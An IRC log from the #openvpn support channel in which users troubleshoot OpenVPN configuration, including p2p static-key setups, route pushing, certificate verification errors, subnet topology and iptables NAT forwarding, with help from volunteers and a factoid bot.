07:12 < Roklobsta> so each site should have aserver and a client running
07:12 < Roklobsta> is that even legal?
07:17 <@plaisthos> Roklobsta: no idea, we deal here with the gpl version
07:18 <@plaisthos> I have no idea about the OpenVPN AS license
07:19 -!- aji [~alex@atheme/member/aji] has quit [Ping timeout: 264 seconds]
07:20 < Roklobsta> i mean legal in the openvpn sense, not the lawyer sense
07:20 < Roklobsta> will it work?
07:23 < Aketzu> yes
07:23 < Aketzu> but shared secret is easier :)
07:25 -!- aji [~alex@atheme/member/aji] has joined #openvpn
07:25 < lupine> well, easy-rsa is pretty easy
07:28 < Roklobsta> tls-auth
07:28 < Roklobsta> ?
07:29 < Roklobsta> ah i see
07:30 < Roklobsta> this 3x   http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html
07:30 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:34 < Roklobsta> easy peasy.  famous last words. .....
07:36 < Roklobsta> in the shared key mode, one the
07:36 < Roklobsta> server listens and the client tries to connect or does it work both ways
07:36 < Roklobsta> ?
07:37 < Roklobsta> what if both config files have a 'remote' keyword?
07:38 < Roklobsta> hmmm, must RTFManpage
07:38 <@plaisthos> Roklobsta: then you have the p2p mode and not the server/client mode
07:39 <@plaisthos> and that only works with udp
07:39 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
07:39 <@plaisthos> and p2p mode only works with shared key
07:39 < Roklobsta> right so i will set up as p2p for this love triangle.
07:40 < Roklobsta> p2p is what i want anyway
07:41 -!- xrosnight [~quassel@116.76.169.18] has quit [Changing host]
07:41 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
07:42 < Roklobsta> this shoudl be fun to set up as the other 2 systems are each hundreds of miles away
07:47 < defswork> got ssh access ? distance is no problem
07:47 < Roklobsta> nono that
07:47 < Roklobsta> thats fine.
07:48 < Roklobsta> they are 3 Win Server 2008 systems
07:48 < Roklobsta> defswork: i just saw your lip curl and eye twitch
07:50 < MorgyN> least not 2012
07:50 < defswork> if its a windows server then no doubt you probably have remote desktop listening on an internet facing port
07:50 < MorgyN> metro on a servr. jst what i wanted
07:52 < Roklobsta> blergh
07:52 < Roklobsta> install classicshell
07:56 < Roklobsta> for the windows version, if i have 2 p2p config files in the config directory will the service run both without fuss?
07:58 < defswork> you need to start multiple instances
07:59 < Roklobsta> drats, the windows service wrapper will only run one?
08:02 < Roklobsta> the howto says "Run OpenVPN as a service by putting one or more .ovpn configuration files in \Program Files\OpenVPN\config ..."
08:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
08:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:32 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
08:33 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:35 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 260 seconds]
08:38 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
08:41 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:41 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
08:51 -!- loa [~loki@static.121.25.4.46.clients.your-server.de] has joined #openvpn
08:51 < loa> hello
08:51 < loa> how i can masakarade openvpn stream as video stream?
08:51 < loa> are there ready solutions?
08:56 -!- dgbaley27 [~matt@c-76-120-71-139.hsd1.co.comcast.net] has joined #openvpn
08:59 < dgbaley27> I have a completely isolated network, 10.0.0.0/24 with a few machines connected by a single switch. One of the machines has a second NIC connected to a public network one which I'm setting up a L3 (tun) server. Is it completely stupid to use 10.0.0.0/24 for the VPN network as well, as an easy way for clients to have distinct IPs on the isolated network?
09:13 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
09:15 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:20 -!- Roklobsta [~Roklobsta@ppp118-209-81-125.lns20.mel4.internode.on.net] has quit [Ping timeout: 256 seconds]
09:24 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
09:25 -!- heraclitus [~halcyon@77.74.193.82] has joined #openvpn
09:25 -!- heraclitus [~halcyon@77.74.193.82] has quit [Changing host]
09:25 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
09:27 < Skapare> dgbaley27: probably
09:38 -!- xrosnight [~quassel@116.76.169.18] has quit [Read error: Connection reset by peer]
09:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:40 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
09:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:41 -!- funky [~Admin@lugejad.nlib.ee] has joined #openvpn
09:42 < funky> hey folks, is it easy to personalise open vpn windows GUI?
09:42 < funky> like say change logo and so install text
09:44 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
09:48 -!- funky [~Admin@lugejad.nlib.ee] has quit [Read error: Connection reset by peer]
09:48 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
10:02 < dgbaley27> Is there a way to make the "push 'route ...'" that goes along with a client-config act dynamically on the clients?
10:15 -!- xrosnight [~quassel@116.76.169.18] has quit [Remote host closed the connection]
10:17 <+pekster> loa: You might want to look at the obfs proxy project:
10:17 <+pekster> !obfs
10:17 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used.
10:17 <@vpnHelper> in static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
10:17 <+pekster> dgbaley27: 10.0.0/24 is a very-common network: try a more obscure network if you'll be joining clients from locations that could also use that as their local range
10:18 < dgbaley27> pekster: just an example
10:20 -!- raidz_away is now known as raidz
10:20 <+pekster> The push stuff, are you referring to pushing per-client? See !ccd
10:20 <+pekster> You can also generate a "dynamicly created" ccd file with --client-connect (see the manpage for details)
10:28 < loa> pekster, looks ,ore closer
10:28 < loa> but it is not make look like something
10:28 < loa> it just obfuscate
10:28 < dgbaley27> No, what I'm getting at is the settings from iroute are only active on the server when the client A connects, however the push (to share A's subnet) on B-Z are active at all times, regardless of A's state.
10:31 <+pekster> dgbaley27: Right, there's no way to "suddenly have all remote clients adds in Client A's subnet when that client connects", no
10:31 <+pekster> You can only push routes with openvpn through a PUSH statement
10:32 < dgbaley27> It seems like a reasonable feature request, considering there is already logic in place to mask the push route for the original client
10:33 <+pekster> Not really
10:33 <+pekster> Especially when you consider chroot and UID/GID dropping
10:33 <+pekster> It simply can't be done in those cases. Push the route ahead of time: why is that an issue?
10:33 <+pekster> If the client owning that route is down, you can't reach it anyway
10:36 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 245 seconds]
10:36 < lupine> another option is to run ospf / etc over the tunnels
10:36 < lupine> but that's a bit heavyweight
10:38 <+pekster> Especially if we're talking Windows clients here :P
10:38 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
10:38 <+pekster> (sure, you could run a Linux or Unix VM on the Windows host and route across that, but now we're just getting silly)
10:39 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
10:39 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
10:40 -!- mode/#openvpn [+o dazo_afk] by ChanServ
10:40 -!- dazo_afk is now known as dazo
10:40 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:40 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
10:45 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
10:48 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
10:49 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
10:49 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:49 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
11:04 < Skapare> from the man page ... --route network/IP [netmask] [gateway] [metric]
11:04 < Skapare> is this correct?
11:05 < Skapare> I get this error message: Wed Sep 25 12:01:13 2013 Options error: route parameter gateway '2' must be a valid address
11:05 < Skapare> I think the gateway is needed but it didn't include it from the push, so I guess I have to make the config generator figure out what the gateway will be
11:06 < Skapare> in which case the man page is in error
11:07 < Skapare> so the basic question:  is gateway optional as the man page says
11:18 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:28 < rob0> The netmask is not optional if you plan to also specify a gateway. The gateway is not optional if you plan to also specify a metric value.
11:31 < Skapare> man page needs to be corrected to specify that
11:32 < Skapare> [netmask [gateway [metric]]]
11:32 < Skapare> is that the way it works?
11:38 < rob0> Meh. While your syntax is more explicit, it's not a big problem. Common sense would suggest that the options parser would interpret the first --route argument as network/IP, the second as netmask, et c.
11:40 < Skapare> a smart parser could figure out [netmask] [gateway] [metric] ... you could leave out gateway and it could know that and parse metric
11:40 < Skapare> I've written programs like that ... where the arguments are figured out and I don't have to require the previous argument to parse the subsequent one
11:41 -!- DavidWhite [~David@host-68-169-154-67.WISOLT2.epbfi.com] has joined #openvpn
11:46 < DavidWhite> I have a weird issue. I have an OpenVPN server running on a CentOS 6 box, and an OpenVPN client running on a Windows 7 machine. The client is able to connect fine, and pulls down an IP address from the OpenVPN server (of 10.8.0.6). The client is also able to ping the host (10.8.0.1). The client is also able to pull down DHCP information - it can resolve any host, externally or internally (such as Google). Finally, the client can pin
11:46 < DavidWhite>  However, the client can't ping any other IP addresses or hosts outside of the network.
11:46 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
11:46 < DavidWhite> I've tried turning off the Windows Firewall, and on the server, have ensured these ports are open: Short answer: TCP 443, TCP 943, UDP 1194
11:47 -!- xrosnight [~quassel@116.76.169.18] has quit [Changing host]
11:47 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
11:48 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
11:49 <+pekster> DavidWhite: You got cut off a bit at first, and didn't specify your goal (see !goal .) I get the feeling you're trying to redirect Internet-bound traffic across the VPN? See !redirect if that's the case
11:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:51 < DavidWhite> Correct, I'm trying to use the VPN for internet access (the goal is secure browsing for whenever I'm using public WiFi, such as coffee shops, airports, etc...).
11:51 < DavidWhite> I'll take a look at !redirect, thanks.
11:51 < DavidWhite> !redirect
11:51 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:51 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
11:56 < DavidWhite> !nat
11:56 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
12:01 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 245 seconds]
12:03 -!- dgbaley27 [~matt@c-76-120-71-139.hsd1.co.comcast.net] has quit [Remote host closed the connection]
12:10 < DavidWhite> Ok, I've ensured --redirect-gateway is enabled and that I'm NATing. I've also ensured that ip forwarding is turned on for IPv4. Still no dice (I'm getting the same symptoms). Here's a pastebin of my server's config file: http://pastebin.com/4TzexiZE. I can grab either the server's and/or the client's log files too
12:12 <+pekster> Did you walk the flowchart?
12:12 <+pekster> It tells you exactly what your problem is
12:13 <+pekster> Also, don't use opendns:
12:13 <+pekster> !opendns
12:13 <@vpnHelper> "opendns" is You should avoid using OpenDNS for pushed DNS servers as they violate spec and send you to ad/search domains for mistyped URLs. Use GoogleDNS instead. See !dns for more info.
12:14 <+pekster> Minus that recommendation, your server config looks fine; chances are you have a firewall issue
12:15 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
12:17 -!- DavidWhite [~David@host-68-169-154-67.WISOLT2.epbfi.com] has quit [Read error: Connection reset by peer]
12:18 -!- DavidWhite1 [~David@host-68-169-154-67.WISOLT2.epbfi.com] has joined #openvpn
12:20 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Quit: This computer has gone to sleep]
12:20 < DavidWhite1> Thanks. I'll do that (use Google DNS). Leaving for now, but I'm now looking at / understanding the flowchart. We'll see!
12:21 -!- DavidWhite1 [~David@host-68-169-154-67.WISOLT2.epbfi.com] has left #openvpn []
12:27 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
12:32 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
12:47 < Skapare> VERIFY ERROR: depth=1, error=self signed certificate in certificate chain: .... uh, yeah, it is self-signed ... why is that an issue?
12:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:53 < Skapare> does this mean someone else needs to sign the certificate?
13:02 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
13:04 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
13:14 < Skapare> if a client is going to connect to openvpn server run by one person, and also to openvpn server run by another person, it needs ca.crt from both of them ... giving them different names and naming appropriate in the different client configs would be the thing to do
13:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:22 < rob0> Each client instance would have its own configuration. It does not "also connect to another server." Each client instance connects to a single server instance.
13:27 -!- Denial [Denial@05417302.skybroadband.com] has quit []
13:28 < Skapare> rob0: there are N client process instances and configs started by "service openvpn start"
13:28 < Skapare> they are separate
13:28 < Skapare> ... when running ... and separate config files
13:29 < Skapare> which, BTW, was answered to me on here by someone incorrectly when I first started asking questions ... and so I was spending days figuring out how to do this, and finding "man openvpn" was not helpful (it does not say one way or the other)
13:30 < rob0> yes? I'm not sure what you are asking. BTW it's a good idea to be familiar with your OS and the init functions. OpenVPN does not and should not document OS-provided init scripts.
13:30 < rob0> Perhaps asking your question in #your-distro-here would have gotten you there sooner.
13:30 < Skapare> I was referring to the issue that openvpn client can only connect to one server ... I was told it can do multi
13:31 < Skapare> but I found out a few days ago that it can only connect to one ... by someone that figured it out
13:31 < rob0> In strict openvpn terms, one instance == one server.
13:31 < rob0> (or it could be a server instance, of course)
13:33 < Skapare> neither man page nor web docs said that ... one person answered in IRC that it could connect multi but had no idea how to do it (maybe he mixed up client vs server) ... a few days later someone else said it could not and had tried to make it do so and finally found it never would
13:33 < rob0> The man page isn't going to talk about your distro init script.
13:34 < Skapare> I'm not talking about distro init script
13:34 < Skapare> I'm talking about an openvpn client
13:35 < Skapare> the init script runs multiple clients or servers ... whatever is configured with .conf
13:35 -!- Devastatr [~devas@177.18.197.20] has joined #openvpn
13:35 < Skapare> but I was trying to configure for ONE process to be the client and talk to multiple servers because I was told it can do that
13:36 < Skapare> and nothing in man page specifically said a client process can only talk to one server
13:36 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
13:37 < Skapare> so once I found out the truth, then I knew I had to use that init script to launch multiple clients ... rather than write single client init scripts so I can up/down each independently
13:37 < rob0> yes, you were told wrong, perhaps by someone who does not know the distinction between openvpn and init scripts.
13:37 < Skapare> OK, so instead of thinking I meant server when I meant client, you think maybe he thought I mean init script instead of process?
13:38 < rob0> Hard to say. There is no shortage of bad advice to be had on the Internet, however.
13:39 < Skapare> and here ... now if only people who actually know things correct would have friendlier attitude
13:40 < rob0> Those who focus on the perceived attitude of helpers are sure to fail.
13:40 < Skapare> and the fact that this is in AWS might have confused people
13:41 < Skapare> one of the helpers had 2 things he didn't understand correctly ... 1: the term 'keys' can include certs, too ... I found cases of this kind of usage on openvpn.net ... and of course it has been used in security admin work for decades
13:42 < Skapare> he also didn't know that Linux does select routes based on metric ... I proved it, but he ignored me ... someone else showed it later on and then he believed it, apparently
13:43 < Skapare> the man page is overly large due to openvpn being a big package with lots of options, very flexible, etc ... but saying things like "your answer is in the man page" is very UNhelpful, unless some clue as to where or what to look for is added on to that comment
13:44 < rob0> !protip
13:44 < rob0> !man
13:44 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:45 < rob0> Usually "--option" is your search key.
13:45 < Skapare> yeah, but that's the clue the helper needs to provide ... it is NOT helpful to tell someone to see the man page when it is not known what the --option is
13:46 < Skapare> most references to see the man page do provide such a clue ... but some don't
13:47 < Skapare> that's the attitude reference ... they are just trying to send someone away
13:47 < Skapare> if someone doesn't want to help some person, they should just be quiet
13:48 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
13:48 < Skapare> change of topic ... why is Slackware still distributing openvpn 2.3.1 instead of 2.3.2 ?
13:49 < Skapare> is it "because 2.3.1 still works fine, why change" ?
13:50 < rob0> Only Pat could answer that. I know he was slow to leave 2.0.9, also.
13:53 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
13:53 < Skapare> OK, figured that ... just wondered if you might have known
13:53 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 268 seconds]
13:53 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
13:54 < Skapare> when I set up my home client for this mess of AWS connected tunnels, I'll just use that verision in my Slackware64 14.1-beta and hope it works
13:55 < Skapare> now I will go back and see if *I* can figure out why the client I'm testing at the office is complaining that the server key is self-signed
13:57  * Skapare used ./build-key-server to gen the key/crt and assumed it would sign it properly from the ca.key
14:04 -!- emid [~emid@192.241.162.156] has quit [Read error: Operation timed out]
14:05 < Skapare> could that error messages complaining about "self-signed key" really mean that it didn't recognize the signer?
14:05 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
14:08 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:09 < EugeneKay> Pretty sure that would be "invalid signer"
14:09 < EugeneKay> But I don't know the openssl lib that well
14:10 < EugeneKay> Try examining the resulting cert with..... `openssl x509 -text -in foo.crt`
14:18 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
14:18 < heraclitus> is openvpn for dd-wrt officially supported?
14:19 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Ping timeout: 264 seconds]
14:22 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
14:25 -!- diffen3 [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
14:25 -!- emid [~emid@192.241.162.156] has joined #openvpn
14:26 < rob0> dd-wrt is [GNU/]Linux, right? OpenVPN works well on Linux. We don't support the quirks of any particular distro here, however.
14:26 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Ping timeout: 240 seconds]
14:27 < heraclitus> sure, I only ask because my auth connection gets stuck here: Wed Sep 25 14:25:10 2013 VERIFY OK: nsCertType=SERVER
14:27 < heraclitus> Wed Sep 25 14:25:10 2013 VERIFY OK: depth=0, /C=../ST=../L=./O=../CN=vpnserver/emailAddress=..
14:27 < heraclitus> and ping restarts
14:28 < heraclitus> it's udp, port 1194.
14:28 < heraclitus> I'm not using the GUI, I'm using telnet to run the command
14:33 < Skapare> EugeneKay: it turns out the CA had been updated, but was not being transferred ... so I was getting that message as a result of a CA mismatch ... I fixed the transfer issue (needed to authorize another ssh user that was doing the transfer) and that message went away (not I'm back to working on the push route issue)
14:34 -!- diffen3 [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Read error: Connection reset by peer]
14:34 < Skapare> heraclitus: you might want to find out if dd-wrt supports openvpn ... and what level of support that means
14:34 < heraclitus> I've asked in their channel. still waiting on a response. :)
14:35 < Skapare> heraclitus: but just a guess ... there might be a file mixup or naming issue ... I had that myself
14:35 < Skapare> sounds like a low level of support over there
14:41 <@plaisthos> could be worse
14:41 <@plaisthos> could be tomato that had shipped an openssl version that breaks current git clients
14:41 -!- diffen3 [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
14:42 < heraclitus> :/
14:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:46 < Skapare> they should make some linux specific regression test suites
14:46 < Skapare> back when I worked at timesys, the only test suites we could get were unix ones (didn't test things like git breaking)
14:47 < Skapare> unix/posix
14:49 -!- diffen3 [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Read error: Connection reset by peer]
14:50 -!- Devastatr [~devas@177.18.197.20] has quit [Changing host]
14:50 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
14:50 -!- Devastatr is now known as Devastator
14:50 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 260 seconds]
14:52 < Skapare> with "server 100.81.64.0 255.255.255.0" the route via should be 100.81.64.1 ?
14:54 < Skapare> I'm getting from "ifconfig tun0" --> "inet addr:100.81.128.6  P-t-P:100.81.128.5  Mask:255.255.255.255"
14:55 < Skapare> is there an openvpn option to set the P-t-P address, or do I just need to hard code it in a script?
14:58 -!- diffen3 [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
15:00 < rob0> !/30
15:00 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
15:05 -!- loa [~loki@static.121.25.4.46.clients.your-server.de] has quit [Ping timeout: 248 seconds]
15:06 -!- loa [~loki@static.121.25.4.46.clients.your-server.de] has joined #openvpn
15:07 < Skapare> but what is the point of doing /30 setups?  just to make it look familiar?  The P-t-P address is being set as the remote of the /30 but that does not work in the routes as the via ... the via needs to use the .1 which means it's not really a real /30 ... just a fake /30
15:10 < Skapare> but this is on Linux, not Windows
15:11 -!- loa [~loki@static.121.25.4.46.clients.your-server.de] has quit [Remote host closed the connection]
15:11 -!- loa [~loki@static.121.25.4.46.clients.your-server.de] has joined #openvpn
15:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:18 < Skapare> OK, how do I do routing over these funny /30 things? ... doing a push W/O the gateway from the server does NOT work ... and I don't know which /30 I will get at config file time
15:19 < rob0> Why do you want /30?
15:20 < Skapare> I don't know what I want ... can you say that /30 won't work in Linux?  I read that thing about it being needed for Windows ... AND ... some clients in the future WILL be Windows
15:22 < Aketzu> needed for really old old windows clients
15:22 < Skapare> I'm doing all the testing at the moment in Linux (CentOS) based cloud instances ... future clients will be CentOS, Slackware, Ubuntu, Windows, and even OS/X
15:22 < Aketzu> is there even OS/X support?
15:23 < Skapare> Aketzu: OK, all the developers using Windows are using 7 or 8 ... so they don't need /30
15:23 < Skapare> OS/X is BSD ... maybe someone can get it to work ... one developer and one manager use OS/X
15:24 < Aketzu> easier to throw in rasperry pi in front to do openvpn :)
15:24 < Skapare> might be :) ... or a VM
15:24 < Skapare> a VM with Slackwre
15:25 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has joined #openvpn
15:25 < Skapare> so should I just go with --topology p2p ?
15:26 -!- loa [~loki@static.121.25.4.46.clients.your-server.de] has quit [Read error: Operation timed out]
15:28 < NEone> Hi. Activated iptables and now trying to achieve ipforwarding. Examples do show a rule involving "10.8.0.0/24" . But in my case, my IP pool for openvpn is 10.99.x.x (subnet mask 255.255.0.0). So I guess I have to write "10.99.0.0/yy". What must be "yy" in my case?
15:32 -!- diffen3 [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Ping timeout: 256 seconds]
15:35 < NEone> ok, just found out myself. If someone cares: it's /24. Found a website which converts subnet masks to the slash notation: http://www.nettoolsonline.com/slash_conversion.php
15:36 -!- Tera [~tera@unaffiliated/tera] has quit [Read error: Connection reset by peer]
15:36 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
15:38 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
15:38 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Remote host closed the connection]
15:40 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
15:40 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
15:42 < Skapare> NEone: oh, you just needed cidr <-> mask translation?
15:43 < NEone> Yes. Didn't know the name for that thing.
15:44 < Skapare> I have bash scripting code to do that in this big thing ... http://slashusr.net/bash-functions
15:44 < Skapare> also some C code somewhere if you are into that kind of thing
15:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:46 < NEone> I don't need to do such conversions regularly. Only when I have to do configurations in tools or configfiles that demand the cidr notation. The website I just posted does that really comfy.
15:46  * Skapare can do the translation in his head ... but scripts seem to have difficulty
15:46 < NEone> lol
15:46 < Skapare> ah, OK, you have have the tool you want to use
15:48 < NEone> Still trying to achieve ipforwarding and nat. Many tutorials say I shall add this: "iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE". But my iptables doesn't have a chain named "POSTROUTING", only "INPUT", "FORWARD", and "OUTPUT".
15:49 < Aketzu> add -t nat
15:49 < Aketzu> mask 255.255.0.0 is /16
15:55 < NEone> Do I have to install the "dnsmasq" packet for this to work?
15:55 < Aketzu> no
15:56 < Aketzu> have you enabled forwarding with sysctl?
16:00 < rob0> hehe, if your online converter told you that 255.255.0.0 is /24, find a better one :)
16:01 < NEone> rob0: Yeah, a typo on my side - my bad. The webbased converter actually said /16
16:01 < NEone> Aketzu: Yes, I did.
16:02 < NEone> Aketzu: So should I try this?: iptables -t nat -A POSTROUTING -s 10.99.0.0/16 -o eth0 -j MASQUERADE
16:06 < NEone> Tried that, but it kinda seems to be ignored. Because iptables -L -v still shows the same rules as it did before. I have no indication if nat actually works now.
16:07 < NEone> I follow http://ircpimps.org/redirect.png . Can't even ping 10.99.0.1 since I activated iptables:(
16:11 < NEone> Goal: Allowing ICMP echo requests in iptables for all interfaces. Question: How?
16:12 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 252 seconds]
16:12 < Aketzu> iptables -L -v -t nat
16:14 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Quit: This computer has gone to sleep]
16:16 < NEone> Oh yeah, there it is!:) Thanks. So this part should be right.
16:17 < Aketzu> can you tcpdump whether the packet arrives to server
16:19 < NEone> I'm afraid tcpdump exceeds my skills:/  But I googled and found this iptables -A INPUT -p icmp -j ACCEPT
16:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:23 < NEone> Sorry, should have been this: iptables -I INPUT 3 -p icmp -j ACCEPT
16:27 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 268 seconds]
16:30 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 246 seconds]
16:30 < NEone> Woot! It works. All the answers in the flowchart are YES now.
16:30 < NEone> Thanks to all of you.
16:33 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has left #openvpn ["Leaving"]
16:36 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 251 seconds]
16:38 -!- xrosnight [~quassel@116.76.169.18] has quit [Read error: Connection reset by peer]
16:38 -!- funky [~funky@81.178.191.90.dyn.estpak.ee] has joined #openvpn
16:39 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:39 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has joined #openvpn
16:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:41 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
16:47 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has left #openvpn ["Leaving"]
16:48 < funky> :)))))))))))))
16:56 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
17:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:05 -!- p3rror [~mezgani@41.248.148.89] has joined #openvpn
17:05 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
